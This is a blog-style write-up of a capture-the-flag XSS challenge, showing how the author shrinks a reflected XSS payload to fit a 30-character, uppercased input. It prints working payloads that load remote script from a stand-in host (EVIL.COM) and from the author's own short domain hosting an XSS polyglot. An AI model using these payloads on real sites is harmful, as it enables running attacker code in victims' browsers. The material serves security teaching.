Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Short XSS – Pwning your Browser in 30 Characters or Less

I recently came upon a challenge that required a short XSS payload, so here is my walk-through for that process.

Basic

To start, Burp found injection in the following code:

<input type="text" value="<?php echo $_GET['value'] ?>" maxlength="30">

(Note that the maxlength is important to this story, as there is strict validation on that later).

For example, the page was something like this.

Short XSS - Form

Once I submitted a parameter via a GET request, it populated the value attribute.

Short XSS - Parameter

Here is an example of the finding in Burp.

Short XSS - Burp

Testing the Burp payload worked just fine in my example page.

Short XSS - Burp Payload

Length Limited

Unfortunately, there was actual server-side validation on the 30 character limit, so that did not work once the test page was modified.

Short XSS - Truncated

In this case, this is what the application code may have looked like.

<input type="text" value="<?php echo substr($_GET['value'], 0, 30); ?>" maxlength="30">

That said, just removing Burp’s unique characters and using a simple alert worked just fine.

Short XSS - Shortened

Case Sensitive

However, in this challenge, the application was converting all the input to upper case. This caused my exploit output to look like this:

<input type="text" value=""><SCRIPT>ALERT(1)</SCRIPT>

Short XSS - To Upper

For those of you not aware, JavaScript methods are case-sensitive, and there is no ALERT() method (unfortunately). Additionally, with our character limit, this would only give us a proof of vulnerability as opposed to a weaponized exploit.

Exploitation

The final challenge application looked something like this.

<html>

<head>
<title>Vulnerable to (Short) XSS</title>
</head>

<body>

Here is my vulnerable form:
<form>
<input type="text" value="<?php echo strtoupper(substr($_GET['value'], 0, 30)); ?>" maxlength="30">
</form>

<script>
console.log("This is my logger function (I'll need this closing script tag later)!");
</script>

</body>

</html>

So, in this case, I needed a case-insensitive payload in 30 characters or less. That said, the HTML standard does not require lower-case attributes, so this was probably my best bet (ID, SIZE, SRC, ETC.).

Starting there, I could attempt the following payload:

"><SCRIPT SRC="HTTP://EVIL.COM/XSS.JS"></SCRIPT>

This payload was too long (48 characters), but it was a good start.

The first modification was to use a protocol-relative address to save 5 characters off the bat. If the browser is currently loading the page through HTTP, then the reference will be HTTP (and the same for HTTPS).

For more information on this, see the following URL – https://www.paulirish.com/2010/the-protocol-relative-url/

That brings it down to 43 characters, which was still a bit long.

Furthermore, since this is just an exploit, I could break the HTML and forego the closing script tag. That said, some browsers require a closing script tag eventually, which is why I added the logger method to my example application.

Also, I could drop the quotes around the script source location, as they are not terribly necessary.

This got my payload down to 32 characters, which was almost small enough for the challenge.

"><SCRIPT SRC=//EVIL.COM/XSS.JS>

Conclusion & New Service

Finally, for the actual solution, I’d like to introduce r4y.pw! This is my new, short domain hosting an XSS polyglot at index.html. This is the same as brutelogic’s 14.rs, only I am able to control it and modify payloads.

Therefore, this allowed me to cut a bunch of characters from my payload, and exploit the XSS.

Here is the final short xss payload and what it looks like on the page:

<input type="text" value=""><SCRIPT SRC=//r4y.pw>(BROKEN HTML)

Finally, this worked, and I was able to pop-up an alert!

Short XSS - Owned

In conclusion, a case-insensitive short XSS attack (only 23 characters), hosted on a domain that I own.

All in all, a fun little challenge, and a good example of manual testing, Burp validation, and short xss payloads (also weaponizing beyond alert(1)).

2 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.